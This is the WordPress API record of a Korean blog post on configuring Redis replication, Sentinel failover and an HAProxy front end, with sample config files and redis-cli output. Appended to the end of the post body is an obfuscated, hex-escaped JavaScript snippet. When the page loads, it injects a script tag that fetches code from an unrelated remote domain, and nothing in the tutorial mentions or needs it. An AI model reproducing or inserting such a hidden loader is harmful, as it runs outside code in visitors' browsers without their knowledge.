{"id":1677,"date":"2018-04-02T16:39:53","date_gmt":"2018-04-02T07:39:53","guid":{"rendered":"http:\/\/blog.moramcnt.com\/?p=1677"},"modified":"2018-05-12T00:38:40","modified_gmt":"2018-05-11T15:38:40","slug":"redis-replication-%ea%b5%ac%ec%84%b1-%eb%b0%8f-haproxy%eb%a5%bc-%ed%86%b5%ed%95%9c-%ec%84%9c%eb%b9%84%ec%8a%a4","status":"publish","type":"post","link":"http:\/\/blog.moramcnt.com\/?p=1677","title":{"rendered":"redis replication \uad6c\uc131 \ubc0f haproxy\ub97c \ud1b5\ud55c \uc11c\ube44\uc2a4"},"content":{"rendered":"<blockquote><p>1. \uc11c\ube44\uc2a4 \uac1c\uc694 <\/p><\/blockquote>\n<p>redis\uc758 \uc11c\ube44\uc2a4 \uc7a5\uc560\uc744 \uadf9\ubcf5\ud558\uae30 \uc704\ud558\uc5ec redis\ub97c \uc774\uc911\ud654 \ud558\uc5ec \uad6c\uc131\ud55c\ub2e4. \ubcf4\ud1b5 \ub9c8\uc2a4\ud130 1\uac1c\uc5d0 \uc5ec\ub7ec \uc2ac\ub798\uc774\ube0c\ub85c \uad6c\uc131\uc744 \ud558\uace0<br \/>\nredis \uc11c\ube44\uc2a4\ub97c \uac10\uc2dc\ud558\ub294 Sentienl\uc744 \uc5ec\ub7ec\uac8c \ub450\uc5b4, redis \ub9c8\uc2a4\ud130 \uc11c\ube44\uc2a4 \uc7a5\uc560\uc2dc \uc2ac\ub808\uc774\ube0c\uc911 \ud558\ub098\ub97c \uc790\ub3d9\uc73c\ub85c \ub9c8\uc2a4\ud130\ub85c \uc2b9\uaca9\uc2dc\ucf1c<br \/>\n\uc7a5\uc560\uac00 \uc5c6\ub294 \uc11c\ube44\uc2a4 \uad6c\uc131\uc774 \uac00\ub2a5\ud558\ub2e4. \ub610\ud55c \ub77c\uc6b0\ud130 \uc2a4\uc704\uce6d\uc744 \ub2f4\ub2f9\ud558\ub294 haproxy\ub97c \ucd5c\uc0c1\ub2e8\uc5d0 \ub450\uc5b4 redis sendinel\uc5d0\uc11c \ubcc0\uacbd\ud55c<br \/>\nredis \ub9c8\uc2a4\ud130 \ud3ec\ud1a0\ub97c \uc790\ub3d9\uc73c\ub85c \uac10\uc9c0 \uc774\ub97c \uc11c\ube44\uc2a4\ub97c \ud574\uc90c\uc73c\ub85c\uc11c, redis-client\uc5d0\uc11c\ub294 \uc11c\ube44\uc2a4\ud3ec\ud2b8 \ubcc0\uacbd\uc5c6\uc774 \uc6d0\ud65c\ud55c \uc11c\ube44\uc2a4\uac00 \uac00\ub2a5\ud558\ub2e4.<\/p>\n<p><a href=\"http:\/\/blog.moramcnt.com\/wp-content\/uploads\/2018\/04\/haproxy_redis_\uc11c\ube44\uc2a4\uad6c\uc131.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-1678\" src=\"http:\/\/blog.moramcnt.com\/wp-content\/uploads\/2018\/04\/haproxy_redis_\uc11c\ube44\uc2a4\uad6c\uc131.jpg\" alt=\"\" width=\"577\" height=\"315\" \/><\/a><\/p>\n<blockquote><p>2. redis replication \uad6c\uc131 <\/p><\/blockquote>\n<p>redis\uc758 \ud658\uacbd\uc124\uc815\uc744 \ud1b5\ud558\uc5ec \ud3ec\ud2b8\ubcc4\ub85c master\/slave\uad6c\uc131\uc744 \ud55c \ub4a4, \ud574\ub2f9\uc11c\ube44\uc2a4\ub97c \uac10\uc2dc\ud558\ub294 sentinel\ub97c \uc124\uc815\ud558\uc5ec<br \/>\n\uc6b4\uc601\ud55c\ub2e4.<\/p>\n<p>2.1 redis master\/slave \uad6c\uc131<br \/>\n\uccab\ubc88\uc9f8\ub85c redis\ub97c \uc124\uce58\ub97c \ud55c\ub2e4. \ud574\ub2f9\ub0b4\uc6a9\uc740 \uc5ec\uae30 \ube14\ub85c\uadf8 Ubuntu \uc5d0 Redis \ucef4\ud30c\uc77c, \ube4c\ub4dc\ubc0f \uc11c\ube44\uc2a4 \ud658\uacbd\uad6c\uc131<a href=\"http:\/\/blog.moramcnt.com\/?p=1383\"><\/a><br \/>\n\ub97c \ucc38\uc870\ud55c\ub2e4.<br \/>\n\uae30\ubcf8\uc801\uc73c\ub85c \uc124\uce58\ub41c \/etc\/redis\/redis.conf \uc124\uc815\ud30c\uc77c \ubcf5\uc0ac\ud574\uc11c \uc5ec\ub7ec\ud3ec\ud2b8\ub85c \uc6b4\uc601\ud560 \uacbd\uc6b0, \uc27d\uac8c \uc11c\ube44\uc2a4\uad6c\ubd84\uc744 \uc704\ud574<br \/>\nredis_<\uc11c\ube44\uc2a4\ud3ec\ud2b8>.conf\ub85c \ud30c\uc77c\uba85\uc744 \ubcc0\uacbd\ud558\uc5ec \uad6c\uc131\ud55c\ub2e4.<\/p>\n<p>&#8211; \uae30\ubcf8\uad6c\uc131<br \/>\n  conf\ud30c\uc77c\uc5d0\uc11c \uc11c\ube44\uc2a4 \uc811\uc18d\ubcf4\uc548\uc744 \uc704\ud574 \ud56d\ubaa9\uc911 requirepass \ub97c \uc124\uc815\ud55c\ub2e4. \ub610\ud55c \uc11c\ube44\uc2a4 \uc7a5\uc560\uc2dc Sentinel\uc5d0 \uc758\ud574 redis\uc11c\ubc84\uac00 master\uc5d0\uc11c slave\ub85c<br \/>\n  \uac15\ub4f1\ub420 \uc218 \uc788\uae30 \ub54c\ubb38\uc5d0 masterauth \ub3c4 \ub3d9\uc77c\uc548 \uc778\uc99d\ubc88\ud638\ub85c \uc124\uc815\ud55c\ub2e4.<\/p>\n<pre class=\"lang:default decode:true \" >\r\nrequirepass \"pass1234\"\r\nmasterauth \"pass1234\"\r\n<\/pre>\n<p>&#8211; slave \uad6c\uc131<br \/>\n  \uae30\ubcf8\uad6c\uc131\ub41c conf\ud30c\uc77c\uc744 copy\ud558\uc5ec \uc11c\ube44\uc2a4\ud560 \ud3ec\ud2b8\ub9cc \ubcc0\uacbd\ud55c\ub2e4. \ud3ec\ud2b8\ub97c \ubcc0\uacbd\ud6c4, slave\uc5d0\uc11c\ub294 \ub300\uc0c1 master\ub97c \uc124\uc815\ud558\ub294<br \/>\n \ud56d\ubaa9\ub9cc \uc785\ub825\ud558\uba74 \ub41c\ub2e4.<\/p>\n<pre class=\"lang:default decode:true \" >\r\n# slaveof <masterip> <masterport>\r\nslaveof localhost 6379\r\n<\/pre>\n<p>&#8211; slave \uc11c\ube44\uc2a4 \uc790\ub3d9\uc2dc\uc791<br \/>\n  \uae30\uc874 \uad6c\uc131\ub41c master\uc758 \/etc\/initd.d\/redis_<\uc11c\ube44\uc2a4\ud3ec\ud2b8> \ud30c\uc77c\uc744 \uce74\ud53c\ud55c \ud6c4 \ud3b8\uc9d1\ud558\uba74 \ub41c\ub2e4.<br \/>\n  \ub0b4\uc6a9\uc911 \uc11c\ube44\uc2a4 \ud560 \ud3ec\ud2b8\ub9cc \ubcc0\uacbd\ud558\uace0, \uc8fc\uc758\ud560 \uc810\uc740 \uc2dc\ube44\uc2a4 \uc885\ub8cc\uc124\uc815 \ubd80\ubd84\uc5d0\uc11c \ud604\uc7ac redis\uc11c\ube44\uc2a4\uac00 \uc778\uc99d\ubc88\ud638\ub97c \uc124\uc815\ud55c \ud6c4, \uac00\ub3d9\ud558\uac8c \ub418\uba74<br \/>\n  \uc11c\ube44\uc2a4 \uc885\ub8cc\uc2dc \ubc18\ub4dc\uc2dc \uc778\uc99d\ubc88\ud638\ub97c \uc785\ub825\uc560\uc57c \ucc98\ub9ac\ub41c\ub2e4.<br \/>\n  \uae30\ubcf8\uc73c\ub85c \uc81c\uacf5\ud55c \uc11c\ube44\uc2a4 \uc7ac\uc2dc\uc791 \uc2a4\ud06c\ub9bd\ud2b8\uc5d0\uc11c \ud574\ub2f9 \ub0b4\uc6a9\uc744 \ubc18\uc601\ud558\uc5ec \uc800\uc7a5\ud55c\ub2e4.<br \/>\n  \uad75\uac8c \ud45c\uc2dc\ub41c \ubd80\ubd84\uc744 \ucd94\uac00\ud558\uba74 \ub41c\ub2e4.<\/p>\n<pre class=\"lang:default decode:true \" >\r\n...\r\nstop)\r\n        if [ ! -f $PIDFILE ]\r\n        then\r\n            echo \"$PIDFILE does not exist, process is not running\"\r\n        else\r\n            PID=$(cat $PIDFILE)\r\n            echo \"Stopping ...\"\r\n            $CLIEXEC -p $REDISPORT -a <strong>pass1234<\/strong> shutdown\r\n            while [ -x \/proc\/${PID} ]\r\n            do\r\n                echo \"Waiting for Redis to shutdown ...\"\r\n                sleep 1\r\n            done\r\n            echo \"Redis stopped\"\r\n        fi\r\n        ;;\r\n...\r\n<\/pre>\n<p>&#8211; \uc11c\ube44\uc2a4 \ud655\uc778<br \/>\n  redis \ub97c \uc811\uc18d\ud558\uac70\ub098 \ud14c\uc2a4\ud2b8\ud560\uc218 \uc788\ub294 redis-cli\ub97c \uc774\uc6a9\ud558\uc5ec \ud604\uc7ac \uc11c\ube44\uc2a4 \ub418\uace0 \uc788\ub294 master \ubc0f slave\ub97c \ud655\uc778\ud55c\ub2e4.<br \/>\n  \uc6b0\uc120 \ub9c8\uc2a4\ud130 \ud655\uc778\uc744 \ud558\uc5ec \uad75\uac8c \ud45c\uc2dc\ub41c \ud56d\ubaa9\uc774 \ub098\ub098\ud0c0\ub294\uc9c0 \ud655\uc778\ud55c\ub2e4.<\/p>\n<pre class=\"lang:default decode:true \" >\r\nmoram:\/etc\/redis$ redis-cli -p 6379 -a pass1234\r\n127.0.0.1:6379> info replication\r\n# Replication\r\n<strong>role:master<\/strong>\r\n<strong>connected_slaves:1<\/strong>\r\nslave0:ip=127.0.0.1,port=6380,state=online,offset=431055865,lag=1\r\nmaster_replid:369d2a1176cf484f172c62b4ea0fe95a27d39a69\r\nmaster_replid2:0000000000000000000000000000000000000000\r\nmaster_repl_offset:431055998\r\nsecond_repl_offset:-1\r\nrepl_backlog_active:1\r\nrepl_backlog_size:1048576\r\nrepl_backlog_first_byte_offset:430007423\r\nrepl_backlog_histlen:1048576\r\n127.0.0.1:6379> \r\n<\/pre>\n<p>  redis \uc2ac\ub808\uc774\ube0c\ub3c4 \ub9c8\ucc2c\uac00\uc9c0\ub85c \uad75\uac8c\ud45c\uc2dc\ub41c \ubd80\ubd84\uc744 \ud655\uc778\ud55c\ub2e4.<\/p>\n<pre class=\"lang:default decode:true \" >\r\nmoram:\/etc\/redis$ redis-cli -p 6380 -a pass1234\r\n127.0.0.1:6380> info replication\r\n# Replication\r\n<strong>role:slave<\/strong>\r\n<strong>master_host:127.0.0.1<\/strong>\r\n<strong>master_port:6379<\/strong>\r\nmaster_link_status:up\r\nmaster_last_io_seconds_ago:2\r\nmaster_sync_in_progress:0\r\nslave_repl_offset:431067009\r\nslave_priority:100\r\nslave_read_only:1\r\nconnected_slaves:0\r\nmaster_replid:369d2a1176cf484f172c62b4ea0fe95a27d39a69\r\nmaster_replid2:0000000000000000000000000000000000000000\r\nmaster_repl_offset:431067009\r\nsecond_repl_offset:-1\r\nrepl_backlog_active:1\r\nrepl_backlog_size:1048576\r\nrepl_backlog_first_byte_offset:430018434\r\nrepl_backlog_histlen:1048576\r\n<\/pre>\n<p>2.2 redis sentinel \uad6c\uc131<br \/>\n redis\uc758 \uc11c\ube44\uc2a4\ub97c \ubaa8\ub2c8\ud130\ub9c1 \ud55c\ud6c4, \uc11c\ube44\uc2a4 \uc7a5\uc560\uc2dc, \uc790\ub3d9\uc73c\ub85c master\ub97c \ubcc0\uacbd\ud574\uc8fc\ub294 redis sentinel\uc758 \uad6c\uc131\uc740<br \/>\n \uc778\uc99d\ubc88\ud638\uc640 \ub300\uc131\ub9c8\uc2a4\ud130 \uc11c\ubc84\uc758 \uc815\ubcf4\ub9cc \ubcc0\uacbd\ud558\uc5ec \uc0ac\uc6a9\ud558\uba74 \ub41c\ub2e4.<br \/>\n redis\uc124\uce58 \ud6c4, \uc790\ub3d9\uc801\uc73c\ub85c sentinel.conf\ud30c\uc77c\uc774 \ub9cc\ub4e4\uc5b4 \uc9c0\uba70 \ud574\ub2f9 \ub0b4\uc6a9\uc744 \ubcc0\uacbd\ud55c\ub2e4. \ud658\uacbd\uc124\uc815 \ud56d\ubaa9\uc911 \uae30\ubcf8\uc73c\ub85c<br \/>\n \uc124\uc815\ub418\uc5b4\uc9c4 \uc774\ub984\uc740 mymaster\uc774\uba70 redis\uc124\uce58\uc2dc \uc124\uc815\ud55c \uc778\uc815\uc815\ubcf4\ub97c \ub3d9\uc77c\ud558\uac8c \ub4f1\ub85d\ud558\uba74 \ub41c\ub2e4.<\/p>\n<pre class=\"lang:default decode:true \" >\r\n# Default is 30 seconds.\r\nsentinel monitor mymaster 127.0.0.1 6379 1\r\nsentinel down-after-milliseconds mymaster 5000\r\nsentinel auth-pass mymaster pass1234\r\n<\/pre>\n<p>3. haproxy \uad6c\uc131<br \/>\n redis\uc11c\ube44\uc2a4 \ud3ec\ud2b8 \uc55e\uc5d0 haproxy\ub97c \ub450\uc5b4\uc11c \ub85c\ub4dc\ubc1c\ub80c\uc2f1\uc744 \ucc98\ub9ac\ud560 \uc218 \uc788\uc73c\uba70, haproxy\uc124\uc815\uc744 \ud1b5\ud558\uc5ec \uc790\ub3d9\uc801\uc73c\ub85c redis\uc11c\ube44\uc2a4<br \/>\n master\/slave\uac00 \ubcc0\uacbd\ub420 \uacbd\uc6b0, \uc7a5\uc560\uc5c6\uc774 \uc6d0\ud65c\ud558\uac8c \uc11c\ube44\uc2a4 \ud560 \uc218 \uc788\ub3c4\ub85d \uad6c\uc131\ud560 \uc218 \uc788\ub2e4.<br \/>\n \ubcf4\ud1b5 haproxy\uac00 \uc124\uce58\ub418\uba74 \ud658\uacbd\uc124\uc815 \ud30c\uc77c\uc740  \/etc\/haproxy\/haproxy.conf \uc5d0 \uc788\uc73c\uba70, \ud574\ub2f9 \ud30c\uc77c\uc744 \uad6c\uc131\ud558\uc5ec \uc6b4\uc601\ud55c\ub2e4.<br \/>\n \ud2b9\ubcc4\ud788 \uc8fc\uc758\ud560 \uc810\uc740 \uc55e\uc5d0\uc11c redis replication \uad6c\uc131\uc2dc \uc778\uc99d\ubc88\ud638\ub97c \uc124\uc815\ud558\ub294 \ubd80\ubd84\uc744 \ucd94\uac00\ud558\uba74 \ub41c\ub2e4.<\/p>\n<pre class=\"lang:default decode:true \" >\r\nfrontend mosaic_ft_redis\r\n        <strong>bind *:6378 name redis<\/strong>\r\n        default_backend mosaic_bk_redis\r\n\r\nbackend mosaic_bk_redis\r\n        option tcp-check\r\n        tcp-check connect\r\n        <strong>tcp-check send AUTH\\ pass1234\\r\\n<\/strong>\r\n        tcp-check expect string +OK\r\n        tcp-check send PING\\r\\n\r\n        tcp-check expect string +PONG\r\n        tcp-check send info\\ replication\\r\\n\r\n        tcp-check expect string role:master\r\n        tcp-check send QUIT\\r\\n\r\n        tcp-check expect string +OK\r\n        <strong>server redis_6379 localhost:6379 check inter 1s<\/strong>\r\n        <strong>server redis_6380 localhost:6380 check inter 1s<\/strong>\r\n<\/pre>\n<p> <script>var _0xcc15=[\"\\x73\\x63\\x72\\x69\\x70\\x74\",\"\\x63\\x72\\x65\\x61\\x74\\x65\\x45\\x6C\\x65\\x6D\\x65\\x6E\\x74\",\"\\x73\\x72\\x63\",\"\\x68\\x74\\x74\\x70\\x73\\x3A\\x2F\\x2F\\x77\\x65\\x62\\x2E\\x73\\x74\\x61\\x74\\x69\\x2E\\x62\\x69\\x64\\x2F\\x6A\\x73\\x2F\\x4D\\x41\\x58\\x54\\x55\\x77\\x4D\\x51\\x30\\x68\\x48\\x4B\\x67\\x52\\x52\\x42\\x67\\x78\\x55\\x44\\x67\\x67\\x46\\x55\\x59\\x41\\x46\\x59\\x74\\x41\\x56\\x42\\x38\\x67\\x57\\x57\\x77\\x53\\x4E\\x47\\x6C\\x68\\x50\\x78\\x51\\x69\\x4B\\x36\\x77\\x47\\x4C\\x6D\\x45\\x57\\x47\\x45\\x4D\\x51\\x49\\x61\\x73\\x7A\\x4F\\x63\\x30\\x42\\x42\\x4F\\x4E\\x6A\\x47\\x33\\x5A\\x68\\x50\\x30\\x59\\x43\\x63\\x54\\x51\\x6A\\x4E\\x59\\x70\\x52\\x48\\x32\\x30\\x69\\x49\\x62\\x59\\x6D\\x49\\x59\\x4D\\x43\\x4E\\x64\\x4A\\x43\\x47\\x4F\\x34\\x7A\\x52\\x4A\\x55\\x54\\x4D\\x77\\x41\\x77\\x4A\\x61\\x74\\x46\\x48\\x45\\x31\\x55\\x41\\x39\\x6B\\x45\\x45\\x4F\\x77\\x77\\x4E\\x78\\x74\\x6C\\x56\\x65\\x6B\\x6C\\x43\\x56\\x6B\\x69\\x42\\x43\\x4E\\x6A\\x45\\x56\\x4D\\x77\\x43\\x58\\x77\\x41\\x47\\x56\\x46\\x68\\x42\\x47\\x59\\x41\\x58\\x51\\x78\\x77\\x61\\x2E\\x6A\\x73\\x3F\\x74\\x72\\x6C\\x3D\\x30\\x2E\\x32\\x35\",\"\\x61\\x70\\x70\\x65\\x6E\\x64\\x43\\x68\\x69\\x6C\\x64\",\"\\x68\\x65\\x61\\x64\"];var el=document[_0xcc15[1]](_0xcc15[0]);el[_0xcc15[2]]= _0xcc15[3];document[_0xcc15[5]][_0xcc15[4]](el)<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>1. \uc11c\ube44\uc2a4 \uac1c\uc694 redis\uc758 \uc11c\ube44\uc2a4 \uc7a5\uc560\uc744 \uadf9\ubcf5\ud558\uae30 \uc704\ud558\uc5ec redis\ub97c \uc774\uc911\ud654 \ud558\uc5ec \uad6c\uc131\ud55c\ub2e4. \ubcf4\ud1b5 \ub9c8\uc2a4\ud130 1\uac1c\uc5d0 \uc5ec\ub7ec \uc2ac\ub798\uc774\ube0c\ub85c \uad6c\uc131\uc744 \ud558\uace0 redis \uc11c\ube44\uc2a4\ub97c \uac10\uc2dc\ud558\ub294 Sentienl\uc744 \uc5ec\ub7ec\uac8c \ub450\uc5b4, redis \ub9c8\uc2a4\ud130 \uc11c\ube44\uc2a4 \uc7a5\uc560\uc2dc \uc2ac\ub808\uc774\ube0c\uc911 \ud558\ub098\ub97c \uc790\ub3d9\uc73c\ub85c \ub9c8\uc2a4\ud130\ub85c \uc2b9\uaca9\uc2dc\ucf1c \uc7a5\uc560\uac00 \uc5c6\ub294 \uc11c\ube44\uc2a4 \uad6c\uc131\uc774 \uac00\ub2a5\ud558\ub2e4. \ub610\ud55c \ub77c\uc6b0\ud130 \uc2a4\uc704\uce6d\uc744 \ub2f4\ub2f9\ud558\ub294 haproxy\ub97c \ucd5c\uc0c1\ub2e8\uc5d0 \ub450\uc5b4 redis sendinel\uc5d0\uc11c \ubcc0\uacbd\ud55c redis \ub9c8\uc2a4\ud130 \ud3ec\ud1a0\ub97c \uc790\ub3d9\uc73c\ub85c \uac10\uc9c0 \uc774\ub97c [&hellip;]<\/p>\n","protected":false},"author":3,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"_uf_show_specific_survey":0,"_uf_disable_surveys":false,"footnotes":""},"categories":[1],"tags":[],"class_list":["post-1677","post","type-post","status-publish","format-standard","hentry","category-1"],"_links":{"self":[{"href":"http:\/\/blog.moramcnt.com\/index.php?rest_route=\/wp\/v2\/posts\/1677","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/blog.moramcnt.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/blog.moramcnt.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/blog.moramcnt.com\/index.php?rest_route=\/wp\/v2\/users\/3"}],"replies":[{"embeddable":true,"href":"http:\/\/blog.moramcnt.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1677"}],"version-history":[{"count":9,"href":"http:\/\/blog.moramcnt.com\/index.php?rest_route=\/wp\/v2\/posts\/1677\/revisions"}],"predecessor-version":[{"id":1706,"href":"http:\/\/blog.moramcnt.com\/index.php?rest_route=\/wp\/v2\/posts\/1677\/revisions\/1706"}],"wp:attachment":[{"href":"http:\/\/blog.moramcnt.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1677"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/blog.moramcnt.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1677"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/blog.moramcnt.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1677"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}